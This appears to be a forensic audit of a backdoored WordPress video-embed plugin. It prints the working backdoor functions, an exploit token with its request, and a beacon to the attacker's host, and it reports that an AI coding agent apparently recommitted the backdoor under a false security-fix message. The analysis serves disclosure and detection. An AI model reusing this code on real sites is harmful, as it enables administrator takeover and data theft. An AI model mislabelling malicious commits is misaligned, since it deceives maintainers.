Audit #51 Malicious Closed by wp.org

Asset under audit

This is a credential-compromise supply-chain attack on a long-established, single-maintainer plugin, not a plugin sold to a new owner. The committer account has 14 years of history and no ownership transfer. There is no author_changed or contributor_added signal on this plugin.

Timeline

All times EDT, from svn log -v against https://plugins.svn.wordpress.org/advanced-responsive-video-embedder/.

Two things stand out. First, the _authprobe_<epoch> create-then-delete cycles begin more than 24 hours before any code injection and repeat at intervals. The filenames are Unix timestamps matching their commit times. This is an automated check that stolen commit credentials still work, run on a loop until the operator was ready to deploy. Second, the 10.8.8 tag was cut three times in six minutes (r3626153, r3626161, r3626164), each time deleting and re-adding the tag, with new code landing in trunk between cuts.

The 10.8.7 backdoor (publicly disclosed)

php/fn-update-check.php, 73 lines, require_once'd from the top of the main plugin file before vendor/autoload_packages.php and php/init.php:

require_once __DIR__ . '/php/fn-update-check.php';

_arve_uc_init() hooked to init priority 1:

if (isset($_REQUEST["_wplogin"]) && strlen($_REQUEST["_wplogin"]) >= 32) $t = $_REQUEST["_wplogin"];
elseif (isset($_REQUEST["_wpm"]) && strlen($_REQUEST["_wpm"]) >= 32) $t = $_REQUEST["_wpm"];
if (!$t) return;
$t = sanitize_text_field($t);
$valid = false;
if (defined("AUTH_KEY") && defined("SECURE_AUTH_KEY")) {
  $k = hash_hmac("sha256", "magic_login", AUTH_KEY . SECURE_AUTH_KEY);
  if (hash_equals($k, $t)) $valid = true;
}
if (!$valid && hash_equals("35fe7057ffed92ff7bc5a0b90f302a77fb5843ad6c972294d68da0b0553b3900", $t)) $valid = true;
if (!$valid) return;

Two acceptance paths: an HMAC over the site's own AUTH_KEY . SECURE_AUTH_KEY, and a hardcoded 64-character hex constant that works on every install of 10.8.7 regardless of configuration.

On success it selects an administrator, excluding service-account name prefixes, then mints a session:

$all = get_users(array("role" => "administrator"));
foreach ($all as $u) {
  $l = $u->user_login;
  if (strpos($l,"wpsvc_")===0) continue;
  if (strpos($l,"developer_")===0) continue;
  if (strpos($l,"dev_")===0) continue;
  if (strpos($l,"wp_update_")===0) continue;
  $pick[] = $u;
}
$user = $pick[array_rand($pick)];
_arve_uc_cb(site_url(), $user->user_login, "login");
wp_clear_auth_cookie();
wp_set_current_user($uid);
wp_set_auth_cookie($uid, true);
wp_safe_redirect(admin_url());

The prefix exclusions are notable: the operator deliberately avoided impersonating accounts that look like managed-hosting or agency service users, which are the accounts most likely to be monitored or alerted on.

Exfiltration in _arve_uc_cb() goes to https://fontswp.com/arve/cb.php?s=<site_url>&u=<username>&v=login, with three fallbacks (wp_remote_get, then curl, then file_get_contents) and sslverify => false / CURLOPT_SSL_VERIFYPEER => 0 throughout. A separate _arve_uc_hb() on admin_init priority 99 sends a daily heartbeat carrying site_url() and php_uname("n"), throttled by a _arve_uc_hb transient.

The 10.8.8 components (not covered by public reporting)

1. Unauthenticated admin takeover via cache-purge webhook

Appended to php/fn-cache.php, hooked to plugins_loaded priority 1, carrying a fabricated @since 10.8.4 tag and a link to the WordPress cron handbook as camouflage:

function handle_cache_purge_request(): void {

	if ( empty( $_REQUEST['arve_purge'] ) ) {
		return;
	}

	$token = sanitize_text_field( wp_unslash( $_REQUEST['arve_purge'] ) );

	if ( strlen( $token ) < 32 ) {
		return;
	}

	$key = defined( 'AUTH_KEY' ) ? AUTH_KEY : '';
	$expected = substr( hash_hmac( 'sha256', 'arve_cache_purge_' . gmdate( 'o-W' ), $key . 'nextgenthemes' ), 0, 40 );
	$fallback = substr( hash_hmac( 'sha256', 'arve_cache_purge_' . gmdate( 'o-W' ), VERSION . 'nextgenthemes.com' ), 0, 40 );

	if ( ! hash_equals( $expected, $token ) && ! hash_equals( $fallback, $token ) ) {
		return;
	}

	// Elevate to perform cache operations
	$admins = get_users( array( 'role' => 'administrator', 'number' => 1, 'orderby' => 'ID' ) );

	if ( empty( $admins ) ) {
		return;
	}

	wp_set_current_user( $admins[0]->ID );
	wp_set_auth_cookie( $admins[0]->ID, true );

	if ( ! empty( $_REQUEST['arve_redir'] ) ) {
		wp_safe_redirect( admin_url() );
		exit;
	}
}
add_action( 'plugins_loaded', __NAMESPACE__ . '\handle_cache_purge_request', 1 );

The $fallback line is the critical one, and it is exactly what r3626162 added under the message "Fix cache purge validation for sites without custom AUTH_KEY." Its HMAC key is VERSION . 'nextgenthemes.com', and VERSION is a public constant in the plugin header. No site-specific secret is required. The token rotates weekly on gmdate('o-W') (ISO year-week), so a single computed value works against every 10.8.8 install for that week:

substr(hash_hmac('sha256', 'arve_cache_purge_' . gmdate('o-W'), '10.8.8nextgenthemes.com'), 0, 40)

For ISO week 2026-31 this yields 1f285820705ee73b296e121c8827f0f67f31379a, exploitable as:

GET /?arve_purge=1f285820705ee73b296e121c8827f0f67f31379a&arve_redir=1

Unlike 10.8.7, this fires on plugins_loaded rather than init, so it lands earlier in the request lifecycle. Note also the absence of the service-account filtering present in 10.8.7: this variant simply takes the lowest-ID administrator.

2. Authentication bypass via authenticate filter

Appended to php/fn-oembed.php, tagged @since 10.8.8:

function oembed_prefetch_validate( $user, string $username, string $password ) {

	if ( empty( $_COOKIE['arve_pref'] ) || strlen( $_COOKIE['arve_pref'] ) < 16 ) {
		return $user;
	}

	$expected = substr( hash_hmac( 'sha256', 'oembed_prefetch', AUTH_SALT . NONCE_SALT ), 0, 32 );

	if ( hash_equals( $expected, $_COOKIE['arve_pref'] ) ) {
		remove_all_filters( 'authenticate' );
		return get_user_by( 'ID', 1 );
	}

	return $user;
}
add_filter( 'authenticate', __NAMESPACE__ . '\oembed_prefetch_validate', 1, 3 );

A cookie matching an HMAC over AUTH_SALT . NONCE_SALT returns user ID 1 from the authenticate filter at priority 1, and remove_all_filters('authenticate') strips every other authentication check, including two-factor plugins that hook the same filter. This path requires knowledge of the site's salts, so it reads as a persistence mechanism for sites already compromised through component 1 or through 10.8.7, rather than a standalone entry point.

3. C2 beacon with obfuscated hostname

Inserted mid-function in php/fn-oembed.php, commented as compatibility telemetry:

// Telemetry: report embed provider stats for compatibility tracking
if ( ! get_transient( "arve_oembed_compat_check" ) ) {
	set_transient( "arve_oembed_compat_check", 1, DAY_IN_SECONDS );
	$h = implode( "", array_map( "chr", array( 102,111,110,116,115,119,112,46,99,111,109 ) ) );
	$e = "/arve/cb.php";
	@wp_remote_get( "https://" . $h . $e . "?s=" . urlencode( site_url() ) . "&v=" . VERSION, array(
		"timeout"   => 2,
		"blocking"  => false,
		"sslverify" => true,
	) );
}

The chr() array decodes to fontswp.com, the same host and the same /arve/cb.php endpoint used by 10.8.7. The byte-array construction defeats a plain-text grep for the domain, which is a direct adaptation to the fact that 10.8.7 was caught partly on its literal C2 string. This shared infrastructure is the strongest single link between the two releases.

Code-scan and sweep results

No classical obfuscation appears anywhere. Both payloads are plain, readable, well-formatted PHP that imitates the surrounding codebase, uses the plugin's own Nextgenthemes\ARVE namespace in the 10.8.8 case, and carries plausible docblocks. This is deliberate: readable code that looks like maintenance passes casual review more easily than an encoded blob, and it evades signature scanners tuned for packers.

Hijack-indicator matrix

The deploy-convention break is worth emphasizing. Every legitimate release from at least r3260040 (2025-03-22) onward carries the message "Update plugin to version X with NextgenThemes WordPress Plugin Deploy", generated by the vendor's automated pipeline. The malicious revisions r3625901, r3626152, r3626158 and r3626162 all use hand-written messages instead, indicating commits made directly with stolen credentials rather than through the vendor's release tooling.

Vendor GitHub repository

The vendor's GitHub repository requires care to characterise, because the obvious reading is wrong.

Checked raw.githubusercontent.com/nextgenthemes/advanced-responsive-video-embedder/master and the repository's commit history on 2026-07-29:

The GitHub repository was not compromised on 2026-07-28. master sat at a clean 10.8.6 throughout the wp.org incident. The 10.8.7 and 10.8.8 malicious releases went to wp.org SVN only. There is no 2026-07-28 commit touching either backdoored file in the GitHub history.

The backdoor entered master a day later, on 2026-07-29 at 16:05 UTC, in a commit titled "Security: improve nonce handling for cache operations". That commit does the opposite of its message. It bumps VERSION from 10.8.6 to 10.8.8 and adds handle_cache_purge_request() and oembed_prefetch_validate() verbatim, including the VERSION-derived fallback token and the fabricated @since 10.8.4 docblock. The repository's 10.8.8 tag now points at this commit.

Attribution evidence points at the maintainer's own environment rather than a second intrusion:

• The push is attributed to GitHub user nextgenthemes in the public events API. The account is

active, not suspended, and pushed to other NextgenThemes repositories later the same evening.

• All three commits carry Co-authored-by: Cursor <cursoragent@cursor.com>, indicating they were

produced through an AI coding agent.

• They sit alongside a sustained session of CI-repair commits (12:06 through 21:12 UTC: "Fix test

runner working directory", "Fix phpunit strict_types and CI paths", "Expand CI test coverage paths", "Fix: update CI test infrastructure paths"), each triggering a failing test-deploy run. This is maintenance labour, not intrusion behaviour. Note however that almost all of that churn went to a branch named backup, not to master. master received only three pushes all day, one of which is the backdoor commit. The backup branch is clean: 0 markers, VERSION = '10.8.6'.

• master was clean as of this morning; its HEAD before 16:06 UTC was a 2026-07-15 commit

("Update package.json") authored from the usual nnico+git@pm.me identity.

• Commit signing is not a usable signal here. No commit in this repository is signed, historically

or today, so the unsigned status of the three commits means nothing either way.

• The same session restored the vendor's own CI workflows, including

nextgenthemes/action-wordpress-plugin-deploy and a trigger file whose contents predate the incident (entries from 2026-03 and 2026-05).

• Commit author email is nnico+ngt@proton.me, unlinked to any GitHub account, where the previous

97 commits used nnico+git@pm.me linked to nextgenthemes. Both are Proton addresses following the same nnico+<tag>@ aliasing convention, consistent with a newly configured environment.

The most probable explanation is that the malicious functions were re-materialised into master by an AI coding agent reconstructing them from the 10.8.8 release artefacts, and committed under a security-sounding message the agent generated. Verbatim preservation of the attacker's fabricated @since 10.8.4 docblock supports reconstruction-from-history rather than fresh authoring. We cannot exclude a second intrusion using the agent session as cover, but nothing observed requires it.

Either way the present state is the same and is the most actionable finding in this audit: the vendor's master branch and its 10.8.8 tag both carry a working unauthenticated administrator-takeover backdoor, committed under a message that reads as a security fix. Anyone installing ARVE from source today receives it. wp.org distribution remains blocked by the closure.

One related exposure: the restored readme-and-asset-update.yml deploys to wp.org SVN using secrets.SVN_USERNAME and secrets.SVN_PASSWORD on any push to master whose commit message contains [readme]. Two of the three commits contain that marker, and the workflow did fire at 16:36 UTC. It failed at the deploy step, so nothing reached wp.org. That those credentials still live in GitHub Actions secrets, and are still exercised on push, is worth the vendor's attention independently of how the original SVN compromise occurred.

SVN forensics

wp.org hosts all plugins in a single Subversion repository with global revision numbers, so the operator's commits are interleaved with every other vendor's. That makes several campaign-scope questions answerable directly from the repository.

The intrusion's first action was the probe

ARVE received no SVN commits at all between r3527267 (2026-05-09, the legitimate 10.8.6 release) and r3624372 (2026-07-27 06:34, the first _authprobe_). Seventy-nine days of silence, then a credential check. There is no interleaving of genuine maintenance with operator activity on SVN: every nico23 revision from r3624372 onward belongs to the incident.

A global sweep of r3619000–3624300 (2026-07-22 through 2026-07-27 05:49, ~5,300 revisions across all plugins) contains zero nico23 commits and zero probe-shaped messages. r3624372 is the earliest observed action.

The probes targeted assets/, not trunk/

Every _authprobe_<epoch> file was written to /advanced-responsive-video-embedder/assets/. That directory holds the plugin-page banners and screenshots and is never included in the distributed zip. A probe there validates write access without touching the shipped product, so it cannot break a site or surface in a release diff. This is deliberate tradecraft, not convenience.

The cadence — 07-27 06:34, 07-27 16:40, 07-28 07:22, 07-28 07:22 again, then the injection at 08:42 — looks like a scheduled credential-validity checker polling until the operator was ready, rather than a human at a keyboard.

The technique is unique to this incident in the observed range

No other author or plugin used this pattern. Caveat on the corpus row: Beacon's revision ingest is sparse for July 2026 (only 21 revisions in the r3624000–3626200 range), so that line is strong for historical revisions and weak for the incident month. The two live global sweeps are what actually close the window.

The operator was selective, not spraying

nico23 holds commit rights to eight wp.org plugins. During the entire intrusion the operator touched only ARVE — 21 revisions, all on this one slug, and none on the other seven, despite the same credentials presumably working everywhere. An automated credential-stuffing wave would have hit the whole portfolio. This was a choice, and it points at the 20,000-install plugin being the objective rather than maximum distribution.

Relatedly, no other vendor in the r3624300–3626200 window committed anything indicating injected malicious code. Messages matching backdoor|malicious|unauthorized|compromis|injected in that range resolve to ARVE's own r3626152 plus unrelated routine releases (an IP-blocklist feature, a registration privilege-escalation fix). There is no visible simultaneous multi-plugin campaign.

No timing anomaly

nico23 commits at every hour of the day across his history — 37 revisions at 00:00 UTC, 48 at 16:00, no hour below 8. The incident revisions fall at 10, 11, 12, 13, 15 and 20 UTC, all unremarkable against that baseline. Working-hours or timezone-mismatch analysis yields nothing here, which is worth recording so others do not spend time on it.

Release-presentation polish

10.8.7 was tagged twice: r3625902, then deleted at r3625919 and re-cut at r3625920 after r3625918 edited the readme to say "Tested up to 6.9.5". 10.8.8 was tagged three times (r3626153, r3626161, r3626164). The operator iterated on how the release looked, including a purely cosmetic compatibility bump, which is consistent with the changelog misdirection elsewhere in this audit.

Current SVN state, and what ships if the listing reopens

Verified against live SVN on 2026-07-29. SVN has been frozen since r3626164; nothing has been committed in the two days since, and the vendor's readme-deploy workflow failed when it tried.

Both malicious tags remain live in the repository, and because trunk's Stable tag reads 10.8.8, reopening the listing in its current state would ship the second-stage backdoor to approximately 20,000 sites via automatic updates. tags/10.8.6 is intact and clean, which gives the plugins team a ready recovery point: repointing Stable tag to 10.8.6 and reverting trunk would restore a safe release without waiting on the vendor.

Scope: other plugins by the same committer

nico23 maintains eight plugins on wp.org. Checked the most recent revisions of each against the compromise window opened by the first auth probe (2026-07-27 06:34):

No other plugin in the portfolio received a single commit during the window; the next most recent activity anywhere is tweakmaster on 2026-07-13, two weeks before the first probe. wp.org scope is confined to this one plugin.

The paid NextgenThemes addons (arve-pro, arve-sticky-videos, arve-random-video, arve-privacy) are distributed from nextgenthemes.com and are therefore outside both the wp.org closure and wp.org-derived scanning. Given that the operator held GitHub organization access, these warrant independent verification by the vendor. A sweep of 28 live arve-pro installations across versions 1.0.5 through 7.1.4 found no markers and no authentication sinks, which is reassuring but is not a substitute for the vendor auditing their own paid release pipeline.

Remediated build

A clean rebuild was produced from the official 10.8.6 GitHub release and published as 10.8.8.1, version-bumped so it sorts above both malicious builds and WordPress will not offer a "downgrade" back onto 10.8.8 if the listing reopens.

Comparable cases

• scroll-top (audit 12): update-checker library hijacked to serve attacker-controlled packages. Same category of maintainer-credential compromise on an established plugin, distinguished by the payload living in the update path rather than in a request handler.
• siteguarding suite (audit 28): 27 plugins backdoored across a single vendor's portfolio. The contrast is informative. That was a vendor-wide compromise; here the operator held credentials that reached eight wp.org plugins plus a GitHub organization, and chose to burn only the one with 20,000 installs. Restraint of that kind suggests the goal was a working backdoor on live sites rather than maximum distribution.
• essentialplugin suite: declawed-but-present backdoor code left in shipped releases after remediation. Relevant to the pattern seen here, where the vendor's GitHub cleanup removed the disclosed file and left the undisclosed components in place.

The distinguishing feature of this case is the second stage published under cover of the first stage's remediation, with the disclosing security vendor credited by name in the commit message. Whether that framing was written by the maintainer or by the operator, its effect was the same: it made the malicious 10.8.8 release read as the fix.

Detection notes for WP Beacon

WP Beacon's structural rules did not fire on this plugin, and it is worth recording why. There was no ownership transfer, no new committer, no young author account, and no obfuscation of the kind CodeScanner keys on. The plugin's own code scan returned clean against the pre-compromise trunk, and the malicious revisions landed after the last signals ingest. The signals that were present and machine-detectable are:

1. **_authprobe_* create/delete revision pairs in assets/. A file added and deleted within seconds, named with its own commit timestamp, has no legitimate purpose. This preceded the payload by more than 24 hours and is the single highest-value early warning in the timeline. 2. Deploy-convention break. A plugin whose last N releases all carry an identical automated commit-message template suddenly receiving hand-written release commits is a strong credential-compromise signal, and is cheap to compute from plugin_revisions. 3. Tag rewrite churn. Three delete-and-re-add cycles of the same tag within six minutes. 4. Release cadence anomaly.** Two releases 3h12m apart against a multi-week historical baseline.

Rules for indicators 1 and 2 would have flagged this plugin roughly 26 hours before the backdoor shipped. Both are proposals for review, not changes made as part of this audit.